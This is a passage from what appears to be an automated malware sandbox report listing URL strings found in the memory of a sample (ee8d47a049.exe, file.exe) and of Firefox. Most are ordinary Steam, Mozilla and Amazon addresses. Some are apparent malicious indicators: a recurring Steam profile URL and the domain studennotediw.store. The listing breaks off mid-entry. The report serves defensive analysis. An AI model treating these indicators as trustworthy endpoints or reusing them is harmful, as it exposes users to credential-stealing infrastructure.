Source: ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034649856.000000000114A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993653031.0000000001110000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2975067077.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000003.2208378374.000000000061E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199555514.000000000061E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.0000000001096000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3035132023.0000000001172000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3035132023.0000000001168000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001168000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001172000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, 00000000.00000003.2199555514.0000000000631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/7656119972433190066
Source: file.exe, 00000000.00000003.2208378374.000000000061E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199555514.000000000061E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900S
Source: ee8d47a049.exe, 0000000E.00000003.3035132023.0000000001168000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900d
Source: ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: ee8d47a049.exe, 0000000C.00000003.2884028726.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: ee8d47a049.exe, 0000000E.00000003.3035132023.0000000001155000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900D
Source: ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowe
Source: ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.2199665798.000000000064F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199555514.000000000064D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883867156.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993784315.0000000001102000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2967613756.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958718238.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883971948.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3035132023.00000000011B4000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034649856.0000000001177000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: file.exe, 00000000.00000003.2199665798.000000000064F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199555514.000000000064D000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883867156.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993784315.0000000001102000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2967613756.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958718238.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883971948.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034649856.0000000001177000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba2
Source: ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993653031.0000000001110000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2975067077.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034649856.000000000114A000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3035132023.000000000114F000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, file.exe, 00000000.00000003.2267291789.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291920296.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2367688328.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267704300.000000000069E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2279787615.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2284921931.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2310713522.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993653031.0000000001110000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2975067077.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993653031.0000000001110000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2975067077.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, file.exe, 00000000.00000003.2267291789.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2267704300.000000000069E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993653031.0000000001110000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2975067077.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222017745.000000000069B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199513745.0000000000694000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883741777.0000000001105000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2958289959.0000000001109000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883909794.0000000001113000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883941944.0000000001106000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000003.3034566533.00000000011CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: ee8d47a049.exe, 0000000E.00000003.3035132023.0000000001155000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/api=
Source: firefox.exe, 0000001C.00000002.3201171185.000002681E103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: ee8d47a049.exe, 0000000C.00000003.2926303044.0000000005917000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helphttps://support.mozi
Source: firefox.exe, 0000001C.00000002.3238655624.000002682F48B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001C.00000002.3265464725.0000026831898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causeshttps://support.mozilla.org
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationAttempting
Source: ee8d47a049.exe, 0000000C.00000003.2926303044.0000000005917000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001C.00000002.3201171185.000002681E103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.comtestPermissionFromPrincipalupgradeTabsProgressListenermigrateXULAttrib
Source: firefox.exe, 0000001C.00000002.3290440543.00003793D3B04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B62E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A824000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001C.00000002.3226223465.000002682E05D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001C.00000002.3275406408.0000026832214000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000003.2249981893.00000000006C9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2926652624.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B664000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3216509308.000002682B62E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001C.00000002.3289304414.000015D2F1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/Z
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A824000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3083238118.000002682E000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3085509496.000002682E210000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: ee8d47a049.exe, 0000000C.00000003.2883437222.0000000001080000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.co
Source: file.exe, 00000000.00000003.2208311275.000000000069F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208378374.000000000064D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208508823.000000000064F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2208350186.00000000006AA000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883867156.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.0000000001080000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993784315.0000000001102000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2967613756.00000000010B9000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883971948.00000000010CF000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 